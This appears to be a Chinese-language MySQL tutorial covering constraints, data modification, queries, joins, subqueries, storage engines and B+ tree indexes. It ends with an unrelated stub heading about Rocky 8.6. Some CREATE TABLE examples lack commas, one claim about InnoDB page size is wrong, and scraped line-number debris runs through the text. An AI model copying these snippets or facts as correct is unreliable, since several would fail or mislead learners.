主键约束即primary key用于唯一的标识表中的每一行。被标识为主键的数据在表中是唯一的且其值不能为空。这点类似于我们每个人都有一个身份证号,并且这个身份证号是唯一的。
主键约束基本语法:

1
字段名 数据类型 primary key;

设置主键约束(primary key)的第一种方式
示例:MySQL命令:

1
2
3
4
create table student(
id int primary key,
name varchar(20)
);

设置主键约束(primary key)的第二·种方式
示例:MySQL命令:

1
2
3
4
5
create table student01(
id int
name varchar(20),
primary key(id)
);

2.非空约束

非空约束即 NOT NULL指的是字段的值不能为空,基本的语法格式如下所示:

1
字段名 数据类型 NOT NULL;

示例:MySQL命令:

1
2
3
4
create table student02(
id int
name varchar(20) not null
);

3.默认值约束

默认值约束即DEFAULT用于给数据表中的字段指定默认值,即当在表中插入一条新记录时若未给该字段赋值,那么,数据库系统会自动为这个字段插入默认值;其基本的语法格式如下所示:

1
字段名 数据类型 DEFAULT 默认值;

示例:MySQL命令:

1
2
3
4
5
create table student03(
id int,
name varchar(20),
gender varchar(10) default 'male'
);

5.唯一性约束

唯一性约束即UNIQUE用于保证数据表中字段的唯一性,即表中字段的值不能重复出现,其基本的语法格式如下所示:

1
字段名 数据类型 UNIQUE;

示例:MySQL命令:

1
2
3
4
create table student04(
id int,
name varchar(20) unique
);

6.外键约束

外键约束即FOREIGN KEY常用于多张表之间的约束。基本语法如下:

1
2
3
4
-- 在创建数据表时语法如下:
CONSTRAINT 外键名 FOREIGN KEY (从表外键字段) REFERENCES 主表 (主键字段)
-- 将创建数据表创号后语法如下:
ALTER TABLE 从表名 ADD CONSTRAINT 外键名 FOREIGN KEY (从表外键字段) REFERENCES 主表 (主键字段);

示例:创建一个学生表 MySQL命令:

1
2
3
4
create table student05(
id int primary key,
name varchar(20)
);

示例:创建一个班级表 MySQL命令:

1
2
3
4
create table class(
classid int primary key,
studentid int
);

示例:学生表作为主表,班级表作为副表设置外键, MySQL命令:

1
alter table class add constraint fk_class_studentid foreign key(studentid) references student05(id);
6.1 数据一致性概念

大家知道:建立外键是为了保证数据的完整和统一性。但是,如果主表中的数据被删除或修改从表中对应的数据该怎么办呢?很明显,从表中对应的数据也应该被删除,否则数据库中会存在很多无意义的垃圾数据。

6.2 删除外键

语法如下:

1
alter table 从表名 drop foreign key 外键名;

示例:删除外键 MySQL命令:

1
2
alter table class drop foreign key fk_class_studentid;
外键的那个字段不在了证明删除成功了
6.3 关于外键约束需要注意的细节

1、从表里的外键通常为主表的主键
2、从表里外键的数据类型必须与主表中主键的数据类型一致
3、主表发生变化时应注意主表与从表的数据一致性问题

六、数据表插入数据

在MySQL通过INSERT语句向数据表中插入数据。在此,我们先准备一张学生表,代码如下:

1
2
3
4
5
6
create table student(
id int,
name varchar(30),
age int,
gender varchar(30)
);

1. 为表中所有字段插入数据

每个字段与其值是严格一一对应的。也就是说:每个值、值的顺序、值的类型必须与对应的字段相匹配。但是,各字段也无须与其在表中定义的顺序一致,它们只要与 VALUES中值的顺序一致即可。
语法如下:

1
INSERT INTO 表名(字段名1,字段名2,...) VALUES (值 1,值 2,...);

示例:向学生表中插入一条学生信息 MySQL命令:

1
insert into student (id,name,age,gender) values (1,'bob',16,'male');

2. 为表中指定字段插入数据

语法如下:

1
INSERT INTO 表名(字段名1,字段名2,...) VALUES (值 1,值 2,...);

插入数据的方法基本和为表中所有字段插入数据,一样,只是需要插入的字段由你自己指定

3. 同时插入多条记录

语法如下:

1
INSERT INTO 表名 [(字段名1,字段名2,...)]VALUES (值 1,值 2,…),(值 1,值 2,…),...;

在该方式中:(字段名1,字段名2,…)是可选的,它用于指定插入的字段名;(值 1,值 2,…),(值 1,值 2,…)表示要插入的记录,该记录可有多条并且每条记录之间用逗号隔开。
示例:向学生表中插入多条学生信息 MySQL命令:

1
insert into student (id,name,age,gender) values (2,'lucy',17,'female'),(3,'jack',19,'male'),(4,'tom',18,'male');

七、更新数据

在MySQL通过UPDATE语句更新数据表中的数据。在此,我们将就用六中的student学生表

1. UPDATE基本语法

1
UPDATE 表名 SET 字段名1=1[,字段名2 =2,…] [WHERE 条件表达式];

在该语法中:字段名1、字段名2…用于指定要更新的字段名称;值1、值 2…用于表示字段的新数据;WHERE 条件表达式 是可选的,它用于指定更新数据需要满足的条件

2. UPDATE更新部分数据

示例:将name为tom的记录的age设置为20并将其gender设置为female MySQL命令:

1
update student set age=20,gender='female' where name='tom';

3. UPDATE更新全部数据

示例:将所有记录的age设置为18 MySQL命令:

1
update student set age=18;

八、删除数据

在MySQL通过DELETE语句删除数据表中的数据。在此,我们先准备一张数据表,代码如下:

1
2
3
4
5
6
7
8
9
10
-- 创建学生表
create table student(
id int,
name varchar(30),
age int,
gender varchar(30)
);
-- 插入数据
insert into student (id,name,age,gender) values (2,'lucy',17,'female'),(3,'jack',19,'male'),(4,'tom',18,'male'),(5,'sal',19,'female'),(6,'sun',20,'male')
,(7,'sad',13,'female'),(8,'sam',14,'male');

1. DELETE基本语法

在该语法中:表名用于指定要执行删除操作的表;[WHERE 条件表达式]为可选参数用于指定删除的条件。

1
DELETE FROM 表名 [WHERE 条件表达式];

2. DELETE删除部分数据

示例:删除age等于14的所有记录 MySQL命令:

1
delete from student where age=14;

3. DELETE删除全部数据

示例:删除student表中的所有记录 MySQL命令:

1
delete from student;

4. TRUNCATE和DETELE的区别

TRUNCATE和DETELE都能实现删除表中的所有数据的功能,但两者也是有区别的:
1、DELETE语句后可跟WHERE子句,可通过指定WHERE子句中的条件表达式只删除满足条件的部分记录;但是,TRUNCATE语句只能用于删除表中的所有记录。
2、使用TRUNCATE语句删除表中的数据后,再次向表中添加记录时自动增加字段的默认初始值重新由1开始;使用DELETE语句删除表中所有记录后,再次向表中添加记录时自动增加字段的值为删除时该字段的最大值加1
3、DELETE语句是DML语句,TRUNCATE语句通常被认为是DDL语句

九、MySQL数据表简单查询

1.简单查询概述

简单查询即不含where的select语句。在此,我们讲解简单查询中最常用的两种查询:查询所有字段和查询指定字段。
在此,先准备测试数据,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
-- 创建数据库
DROP DATABASE IF EXISTS mydb;
CREATE DATABASE mydb;
USE mydb;

-- 创建student表
CREATE TABLE student (
sid CHAR(6),
sname VARCHAR(50),
age INT,
gender VARCHAR(50) DEFAULT 'male'
);

-- 向student表插入数据
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1001', 'lili', 14, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1002', 'wang', 15, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1003', 'tywd', 16, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1004', 'hfgs', 17, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1005', 'qwer', 18, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1006', 'zxsd', 19, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1007', 'hjop', 16, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1008', 'tyop', 15, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1009', 'nhmk', 13, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1010', 'xdfv', 17, 'female');
123456789101112131415161718192021222324AI助手

2.查询所有字段(方法不唯一只是举例)

查询所有字段 MySQL命令:

1
select * from student;

3.查询指定字段(sid、sname)

查询指定字段(sid、sname) MySQL命令:

1
select sid,sname from student;

4.常数的查询

在SELECT中除了书写列名,还可以书写常数。可以用于标记
常数的查询日期标记 MySQL命令:

1
select sid,sname,'2021-03-02' from student;

5.从查询结果中过滤重复数据

在使用DISTINCT 时需要注意:
在SELECT查询语句中DISTINCT关键字只能用在第一个所查列名之前。
MySQL命令:

1
select distinct gender from student;

6.算术运算符(举例加运算符)

在SELECT查询语句中还可以使用加减乘除运算符。
查询学生10年后的年龄 MySQL命令:

1
select sname,age+10 from student;

十、函数

在此,先准备测试数据,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
-- 创建数据库
DROP DATABASE IF EXISTS mydb;
CREATE DATABASE mydb;
USE mydb;

-- 创建student表
CREATE TABLE student (
sid CHAR(6),
sname VARCHAR(50),
age INT,
gender VARCHAR(50) DEFAULT 'male'
);

-- 向student表插入数据
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1001', 'lili', 14, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1002', 'wang', 15, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1003', 'tywd', 16, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1004', 'hfgs', 17, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1005', 'qwer', 18, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1006', 'zxsd', 19, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1007', 'hjop', 16, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1008', 'tyop', 15, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1009', 'nhmk', 13, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1010', 'xdfv', 17, 'female');
123456789101112131415161718192021222324AI助手

1.聚合函数

在开发中,我们常常有类似的需求:统计某个字段的最大值、最小值、 平均值等等。为此,MySQL中提供了聚合函数来实现这些功能。所谓聚合,就是将多行汇总成一行;其实,所有的聚合函数均如此——输入多行,输出一行。聚合函数具有自动滤空的功能,若某一个值为NULL,那么会自动将其过滤使其不参与运算。
聚合函数使用规则:
只有SELECT子句和HAVING子句、ORDER BY子句中能够使用聚合函数。例如,在WHERE子句中使用聚合函数是错误的。
接下来,我们学习常用聚合函数。

1.1、count()

统计表中数据的行数或者统计指定列其值不为NULL的数据个数
查询有多少该表中有多少人
MySQL命令:

1
select count(*) from student;
1.2、max()

计算指定列的最大值,如果指定列是字符串类型则使用字符串排序运算

查询该学生表中年纪最大的学生
MySQL命令:

1
select max(age) from student;
1.3、min()

计算指定列的最小值,如果指定列是字符串类型则使用字符串排序运算

查询该学生表中年纪最小的学生 MySQL命令:

1
select sname,min(age) from student;
1.4、sum()

计算指定列的数值和,如果指定列类型不是数值类型则计算结果为0
查询该学生表中年纪的总和 MySQL命令:

1
select sum(age) from student;
1.5、avg()

计算指定列的平均值,如果指定列类型不是数值类型则计算结果为

查询该学生表中年纪的平均数 MySQL命令:

1
select avg(age) from student;
2.其他常用函数

这里我就不一一举例了,基本混个眼熟,以后用到再细说

2.1、时间函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
SELECT NOW();
SELECT DAY (NOW());
SELECT DATE (NOW());
SELECT TIME (NOW());
SELECT YEAR (NOW());
SELECT MONTH (NOW());
SELECT CURRENT_DATE();
SELECT CURRENT_TIME();
SELECT CURRENT_TIMESTAMP();
SELECT ADDTIME('14:23:12','01:02:01');
SELECT DATE_ADD(NOW(),INTERVAL 1 DAY);
SELECT DATE_ADD(NOW(),INTERVAL 1 MONTH);
SELECT DATE_SUB(NOW(),INTERVAL 1 DAY);
SELECT DATE_SUB(NOW(),INTERVAL 1 MONTH);
SELECT DATEDIFF('2019-07-22','2019-05-05');
123456789101112131415AI助手
2.2、字符串函数
1
2
3
4
5
6
--连接函数
SELECT CONCAT ()
--
SELECT INSTR ();
--统计长度
SELECT LENGTH();
2.3、数学函数
1
2
3
4
5
6
7
-- 绝对值
SELECT ABS(-136);
-- 向下取整
SELECT FLOOR(3.14);
-- 向上取整
SELECT CEILING(3.14);
123456AI助手

十一、条件查询

数据库中存有大量数据,我们可根据需求获取指定的数据。此时,我们可在查询语句中通过WHERE子句指定查询条件对查询结果进行过滤。
在开始学习条件查询之前,我们先准备测试数据,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-- 创建数据库
DROP DATABASE IF EXISTS mydb;
CREATE DATABASE mydb;
USE mydb;

-- 创建student表
CREATE TABLE student (
sid CHAR(6),
sname VARCHAR(50),
age INT,
gender VARCHAR(50) DEFAULT 'male'
);

-- 向student表插入数据
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1001', 'lili', 14, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1002', 'wang', 15, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1003', 'tywd', 16, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1004', 'hfgs', 17, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1005', 'qwer', 18, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1006', 'zxsd', 19, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1007', 'hjop', 16, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1008', 'tyop', 15, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1009', 'nhmk', 13, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1010', 'xdfv', 17, 'female');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1012', 'lili', 14, 'male');
INSERT INTO student (sid,sname,age,gender) VALUES ('S_1013', 'wang', 15, 'female');
1234567891011121314151617181920212223242526AI助手

1.使用关系运算符查询

在WHERE中可使用关系运算符进行条件查询,常用的关系运算符如下所示:

关系运算符 说明
= 等于
<> 不等于
!= 不等于
< 小于
<= 小于等于
> 大于
>= 大于等于

查询年龄等于或大于17的学生的信息 MySQL命令:

1
select * from student where age>=17;

2.使用IN关键字查询

IN关键字用于判断某个字段的值是否在指定集合中。如果字段的值恰好在指定的集合中,则将字段所在的记录将査询出来。

查询sid为S_1002和S_1003的学生信息 MySQL命令:

1
select * from student where sid in ('S_1002','S_1003');

查询sid为S_1001以外的学生的信息 MySQL命令:

1
select * from student where sid not in ('S_1001');

3.使用BETWEEN AND关键字查询

BETWEEN AND用于判断某个字段的值是否在指定的范围之内。如果字段的值在指定范围内,则将所在的记录将查询出来
查询15到18岁的学生信息 MySQL命令:

1
select * from student where age between 15 and 18;

查询不是15到18岁的学生信息 MySQL命令:

1
select * from student where age not between 15 and 18;

4.使用空值查询

在MySQL中,使用 IS NULL关键字判断字段的值是否为空值。请注意:空值NULL不同于0,也不同于空字符串
由于student表没有空值就不演示查询空值的了
查询sname不为空值的学生信息 MySQL命令:

1
select * from student where sname is not null;

5.使用AND关键字查询

在MySQL中可使用AND关键字可以连接两个或者多个查询条件。
查询年纪大于15且性别为male的学生信息 MySQL命令:

1
select * from student where age>15 and gender='male';

6.使用OR关键字查询

在使用SELECT语句查询数据时可使用OR关键字连接多个査询条件。在使用OR关键字时,只要记录满足其中任意一个条件就会被查询出来
查询年纪大于15或者性别为male的学生信息 MySQL命令:

1
select * from student where age>15 or gender='male';

7.使用LIKE关键字查询

MySQL中可使用LIKE关键字可以判断两个字符串是否相匹配

7.1 普通字符串

查询sname中与wang匹配的学生信息 MySQL命令:

1
select * from student where sname like 'wang';
7.2 含有%通配的字符串

%用于匹配任意长度的字符串。例如,字符串“a%”匹配以字符a开始任意长度的字符串
查询学生姓名以li开始的记录 MySQL命令:

1
select * from student where sname like 'li%';

查询学生姓名以g结尾的记录 MySQL命令:

1
select * from student where sname like '%g';

查询学生姓名包含s的记录 MySQL命令:

1
select * from student where sname like '%s%';
7.3 含有_通配的字符串

下划线通配符只匹配单个字符,如果要匹配多个字符,需要连续使用多个下划线通配符。例如,字符串“ab_”匹配以字符串“ab”开始长度为3的字符串,如abc、abp等等;字符串“a__d”匹配在字符“a”和“d”之间包含两个字符的字符串,如”abcd”、”atud”等等。
查询学生姓名以zx开头且长度为4的记录 MySQL命令:

1
select * from student where sname like 'zx__';

查询学生姓名以g结尾且长度为4的记录 MySQL命令:

1
select * from student where sname like '___g';

8.使用LIMIT限制查询结果的数量

当执行查询数据时可能会返回很多条记录,而用户需要的数据可能只是其中的一条或者几条
查询学生表中年纪最小的3位同学 MySQL命令:

1
select * from student order by age asc limit 3;

9.使用GROUP BY进行分组查询

GROUP BY 子句可像切蛋糕一样将表中的数据进行分组,再进行查询等操作。换言之,可通俗地理解为:通过GROUP BY将原来的表拆分成了几张小表。
接下来,我们通过一个例子开始学习GROUP BY,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
-- 创建数据库
DROP DATABASE IF EXISTS mydb;
CREATE DATABASE mydb;
USE mydb;

-- 创建员工表
CREATE TABLE employee (
id int,
name varchar(50),
salary int,
departmentnumber int
);

-- 向员工表中插入数据
INSERT INTO employee values(1,'tome',2000,1001);
INSERT INTO employee values(2,'lucy',9000,1002);
INSERT INTO employee values(3,'joke',5000,1003);
INSERT INTO employee values(4,'wang',3000,1004);
INSERT INTO employee values(5,'chen',3000,1001);
INSERT INTO employee values(6,'yukt',7000,1002);
INSERT INTO employee values(7,'rett',6000,1003);
INSERT INTO employee values(8,'mujk',4000,1004);
INSERT INTO employee values(9,'poik',3000,1001);
9.1 GROUP BY和聚合函数一起使用

统计各部门员工个数 MySQL命令:

1
select count(*), departmentnumber from employee group by departmentnumber;

统计部门编号大于1001的各部门员工个数 MySQL命令:

1
select count(*), departmentnumber from employee where departmentnumber>1001 group by departmentnumber;
9.2 GROUP BY和聚合函数以及HAVING一起使用

统计工资总和大于8000的部门 MySQL命令:

1
select sum(salary),departmentnumber from employee group by departmentnumber having sum(salary)>8000;

10.使用ORDER BY对查询结果排序

从表中査询出来的数据可能是无序的或者其排列顺序不是我们期望的。为此,我们可以使用ORDER BY对查询结果进行排序
其语法格式如下所示:

1
2
3
SELECT 字段名1,字段名2,…
FROM 表名
ORDER BY 字段名1 [ASCDESC],字段名2 [ASC | DESC];

在该语法中:字段名1、字段名2是查询结果排序的依据;参数 ASC表示按照升序排序,DESC表示按照降序排序;默认情况下,按照ASC方式排序。通常情况下,ORDER BY子句位于整个SELECT语句的末尾。
查询所有学生并按照年纪大小升序排列 MySQL命令:

1
select * from student order by age asc;

查询所有学生并按照年纪大小降序排列 MySQL命令:

1
select * from student order by age desc;

十二、别名设置

在査询数据时可为表和字段取別名,该别名代替表和字段的原名参与查询操作。
操作的表事先已准备

1.为表取别名

在查询操作时,假若表名很长使用起来就不太方便,此时可为表取一个別名,用该别名来代替表的名称。语法格式如下所示:

1
SELECT * FROM 表名 [AS] 表的别名 WHERE .... ;

将student改为stu查询整表 MySQL命令:

1
select * from student as stu;

2.为字段取别名

在查询操作时,假若字段名很长使用起来就不太方便,此时可该字段取一个別名,用该别名来代替字段的名称。语法格式如下所示:

1
SELECT 字段名1 [AS] 别名1 , 字段名2 [AS] 别名2 , ... FROM 表名 WHERE ... ;

将student中的name取别名为“姓名” 查询整表 MySQL命令:

1
select name as '姓名',id from student;

十三、表的关联关系

在实际开发中数据表之间存在着各种关联关系。在此,介绍MySQL中数据表的三种关联关系。
多对一
多对一(亦称为一对多)是数据表中最常见的一种关系。例如:员工与部门之间的关系,一个部门可以有多个员工;而一个员工不能属于多个部门只属于某个部门。在多对一的表关系 中,应将外键建在多的一方否则会造成数据的冗余。
多对多
多对多是数据表中常见的一种关系。例如:学生与老师之间的关系,一个学生可以有多个老师而且一个老师有多个学生。通常情况下,为了实现这种关系需要定义一张中间表(亦称为连接表)该表会存在两个外键分别参照老师表和学生表。
一对一
在开发过程中,一对一的关联关系在数据库中并不常见;因为以这种方式存储的信息通常会放在同一张表中。
接下来,我们来学习在一对多的关联关系中如果添加和删除数据。先准备一些测试数据,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
DROP TABLE IF EXISTS student;
DROP TABLE IF EXISTS class;

-- 创建班级表
CREATE TABLE class(
cid int(4) NOT NULL PRIMARY KEY,
cname varchar(30)
);

-- 创建学生表
CREATE TABLE student(
sid int(8) NOT NULL PRIMARY KEY,
sname varchar(30),
classid int(8) NOT NULL
);

-- 为学生表添加外键约束
ALTER TABLE student ADD CONSTRAINT fk_student_classid FOREIGN KEY(classid) REFERENCES class(cid);
-- 向班级表插入数据
INSERT INTO class(cid,cname)VALUES(1,'Java');
INSERT INTO class(cid,cname)VALUES(2,'Python');

-- 向学生表插入数据
INSERT INTO student(sid,sname,classid)VALUES(1,'tome',1);
INSERT INTO student(sid,sname,classid)VALUES(2,'lucy',1);
INSERT INTO student(sid,sname,classid)VALUES(3,'lili',2);
INSERT INTO student(sid,sname,classid)VALUES(4,'domi',2);
123456789101112131415161718192021222324252627AI助手

1.关联查询

查询Java班的所有学生 MySQL命令:

1
select * from student where classid=(select cid from class where cname='Java');

2.关于关联关系的删除数据

请从班级表中删除Java班级。在此,请注意:班级表和学生表之间存在关联关系;要删除Java班级,应该先删除学生表中与该班相关联的学生。否则,假若先删除Java班那么学生表中的cid就失去了关联
删除Java班 MySQL命令:

1
2
3
delete from student where classid=(select cid from class where cname='Java');
delete from class where cname='Java';

十四、多表连接查询

1.交叉连接查询

交叉连接返回的结果是被连接的两个表中所有数据行的笛卡儿积;比如:集合A={a,b},集合B={0,1,2},则集合A和B的笛卡尔积为{(a,0),(a,1),(a,2),(b,0),(b,1),(b,2)}。所以,交叉连接也被称为笛卡尔连接,其语法格式如下:

1
SELECT * FROM1 CROSS JOIN2;

在该语法中:CROSS JOIN用于连接两个要查询的表,通过该语句可以查询两个表中所有的数据组合。
由于这个交叉连接查询在实际运用中没有任何意义,所以只做为了解即可

2.内连接查询

内连接(Inner Join)又称简单连接或自然连接,是一种非常常见的连接查询。内连接使用比较运算符对两个表中的数据进行比较并列出与连接条件匹配的数据行,组合成新的 记录。也就是说在内连接查询中只有满足条件的记录才能出现在查询结果中。其语法格式如下:

1
SELECT 查询字段1,查询字段2, ... FROM1 [INNER] JOIN2 ON1.关系字段=2.关系字段

在该语法中:INNER JOIN用于连接两个表,ON来指定连接条件;其中INNER可以省略。

准备数据,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
-- 若存在数据库mydb则删除
DROP DATABASE IF EXISTS mydb;
-- 创建数据库mydb
CREATE DATABASE mydb;
-- 选择数据库mydb
USE mydb;

-- 创建部门表
CREATE TABLE department(
did int (4) NOT NULL PRIMARY KEY,
dname varchar(20)
);

-- 创建员工表
CREATE TABLE employee (
eid int (4) NOT NULL PRIMARY KEY,
ename varchar (20),
eage int (2),
departmentid int (4) NOT NULL
);

-- 向部门表插入数据
INSERT INTO department VALUES(1001,'财务部');
INSERT INTO department VALUES(1002,'技术部');
INSERT INTO department VALUES(1003,'行政部');
INSERT INTO department VALUES(1004,'生活部');
-- 向员工表插入数据
INSERT INTO employee VALUES(1,'张三',19,1003);
INSERT INTO employee VALUES(2,'李四',18,1002);
INSERT INTO employee VALUES(3,'王五',20,1001);
INSERT INTO employee VALUES(4,'赵六',20,1004);
1234567891011121314151617181920212223242526272829303

查询员工姓名及其所属部门名称 MySQL命令:

1
select employee.ename,department.dname from department inner join employee on department.did=employee.departmentid;

3.外连接查询

在使用内连接查询时我们发现:返回的结果只包含符合查询条件和连接条件的数据。但是,有时还需要在返回查询结果中不仅包含符合条件的数据,而且还包括左表、右表或两个表中的所有数据,此时我们就需要使用外连接查询。外连接又分为左(外)连接和右(外)连接。其语法格式如下:

1
2
SELECT 查询字段1,查询字段2, ... FROM1 LEFT | RIGHT [OUTER] JOIN2 ON1.关系字段=2.关系字段 WHERE 条件

由此可见,外连接的语法格式和内连接非常相似,只不过使用的是LEFT [OUTER] JOIN、RIGHT [OUTER] JOIN关键字。其中,关键字左边的表被称为左表,关键字右边的表被称为右表;OUTER可以省略。
在使用左(外)连接和右(外)连接查询时,查询结果是不一致的,具体如下:
1、LEFT [OUTER] JOIN 左(外)连接:返回包括左表中的所有记录和右表中符合连接条件的记录。
2、RIGHT [OUTER] JOIN 右(外)连接:返回包括右表中的所有记录和左表中符合连接条件的记录。

先准备数据,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
-- 若存在数据库mydb则删除
DROP DATABASE IF EXISTS mydb;
-- 创建数据库mydb
CREATE DATABASE mydb;
-- 选择数据库mydb
USE mydb;

-- 创建班级表
CREATE TABLE class(
cid int (4) NOT NULL PRIMARY KEY,
cname varchar(20)
);

-- 创建学生表
CREATE TABLE student (
sid int (4) NOT NULL PRIMARY KEY,
sname varchar (20),
sage int (2),
classid int (4) NOT NULL
);
-- 向班级表插入数据
INSERT INTO class VALUES(1001,'Java');
INSERT INTO class VALUES(1002,'C++');
INSERT INTO class VALUES(1003,'Python');
INSERT INTO class VALUES(1004,'PHP');

-- 向学生表插入数据
INSERT INTO student VALUES(1,'张三',20,1001);
INSERT INTO student VALUES(2,'李四',21,1002);
INSERT INTO student VALUES(3,'王五',24,1002);
INSERT INTO student VALUES(4,'赵六',23,1003);
INSERT INTO student VALUES(5,'Jack',22,1009);
1234567891011121314151617181920212223242526272829303132AI助手

准备这组数据有一定的特点,为的是让大家直观的看出左连接与右连接的不同之处
1、班级编号为1004的PHP班级没有学生
2、学号为5的学生Jack班级编号为1009,该班级编号并不在班级表中

3.1 左(外)连接查询

左(外)连接的结果包括LEFT JOIN子句中指定的左表的所有记录,以及所有满足连接条件的记录。如果左表的某条记录在右表中不存在则在右表中显示为空。
查询每个班的班级ID、班级名称及该班的所有学生的名字 MySQL命令:

1
select class.cid,class.cname,student.sname from class left outer join student on class.cid=student.classid;

展示结果分析:
1、分别找出Java班、C++班、Python班的学生
2、右表的Jack不满足查询条件故其没有出现在查询结果中
3、虽然左表的PHP班没有学生,但是任然显示了PHP的信息;但是,它对应的学生名字为NULL

3.2 右(外)连接查询

右(外)连接的结果包括RIGHT JOIN子句中指定的右表的所有记录,以及所有满足连接条件的记录。如果右表的某条记录在左表中没有匹配,则左表将返回空值。
查询每个班的班级ID、班级名称及该班的所有学生的名字 MySQL命令:

1
select class.cid,class.cname,student.sname from class right outer join student on class.cid=student.classid;

展示结果分析:
1、分别找出Java班、C++班、Python班的学生
2、左表的PHP班不满足查询条件故其没有出现在查询结果中
3、虽然右表的jack没有对应班级,但是任然显示王跃跃的信息;但是,它对应的班级以及班级编号均为NULL

十五、子查询

子查询是指一个查询语句嵌套在另一个查询语句内部的查询;该查询语句可以嵌套在一个 SELECT、SELECT…INTO、INSERT…INTO等语句中。在执行查询时,首先会执行子查询中的语句,再将返回的结果作为外层查询的过滤条件。在子査询中通常可以使用比较运算符和IN、EXISTS、ANY、ALL等关键字。

准备数据,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
DROP TABLE IF EXISTS student;
DROP TABLE IF EXISTS class;

-- 创建班级表
CREATE TABLE class(
cid int (4) NOT NULL PRIMARY KEY,
cname varchar(20)
);

-- 创建学生表
CREATE TABLE student (
sid int (4) NOT NULL PRIMARY KEY,
sname varchar (20),
sage int (2),
classid int (4) NOT NULL
);

-- 向班级表插入数据
INSERT INTO class VALUES(1001,'Java');
INSERT INTO class VALUES(1002,'C++');
INSERT INTO class VALUES(1003,'Python');
INSERT INTO class VALUES(1004,'PHP');
INSERT INTO class VALUES(1005,'Android');

-- 向学生表插入数据
INSERT INTO student VALUES(1,'张三',20,1001);
INSERT INTO student VALUES(2,'李四',21,1002);
INSERT INTO student VALUES(3,'王五',24,1003);
INSERT INTO student VALUES(4,'赵六',23,1004);
INSERT INTO student VALUES(5,'小明',21,1001);
INSERT INTO student VALUES(6,'小红',26,1001);
INSERT INTO student VALUES(7,'小亮',27,1002);
1234567891011121314151617181920212223242526272829303132AI助手

1.带比较运算符的子查询

比较运算符前面我们提到过得,就是>、<、=、>=、<=、!=等
查询张三同学所在班级的信息 MySQL命令:

1
select * from class where cid=(select classid from student where sname='张三');

查询比张三同学所在班级编号还大的班级的信息 MySQL命令:

1
select * from class where cid>(select classid from student where sname='张三');

2.带EXISTS关键字的子查询

EXISTS关键字后面的参数可以是任意一个子查询, 它不产生任何数据只返回TRUE或FALSE。当返回值为TRUE时外层查询才会 执行
假如王五同学在学生表中则从班级表查询所有班级信息 MySQL命令:

1
select * from class where exists (select * from student where sname='王五');

3.带ANY关键字的子查询

ANY关键字表示满足其中任意一个条件就返回一个结果作为外层查询条件。

查询比任一学生所属班级号还大的班级编号 MySQL命令:

1
select * from class where cid > any (select classid from student);

4.带ALL关键字的子查询

ALL关键字与ANY有点类似,只不过带ALL关键字的子査询返回的结果需同时满足所有内层査询条件。

查询比所有学生所属班级号还大的班级编号 MySQL命令:

1
select * from class where cid > all (select classid from student);

进阶

存储引擎

存储引擎———-表结构的一种数据结构,存储数据,建立索引,更新/查询数据等技术的实现方式

mysql默认innodb

特点:事务,行级锁,外键

选择情况:

对事物的完整性有较高的要求,并发条件下要求数据的一致性,除插入,查询外,还包含很多更新,删除操作

MyISAM:早期默认存储引擎

特点:支持表锁,不支持外键,事务,行锁,存储速度快

选择情况:

对事务完整性,并发要求不高,对数据一致性要求不高的数据可以选择这个存储引擎,插入查询为主,很少更新与删除,

memory

内存存储,速度较快,无法保障数据安全性,跟redis特点差不多

索引

优点:提高数据检索速率,降低数据库IO成本,降低cpu消耗

缺点:占一小部分内存,降低更新表的速度

索引的数据结构

B+树索引
hash索引

innodb为什么采用B+树建立索引而不采用其他

1.相对于二叉树和红黑树,层级少,搜索效率高,二叉树顺序插入时可能导致,树的深度较深

2.对于B树,无论叶子节点还是非叶子节点都会保存数据,这样会导致一页中存储的键值减少,指针跟着减少(每个页的大小时固定的64kb)。保存同样多的数据,只能增加树的高度,导致性能降低.

3.对于hash索引,hash不支持排序,B+支持排序,范围匹配

rocky 8.6

一.前期准备

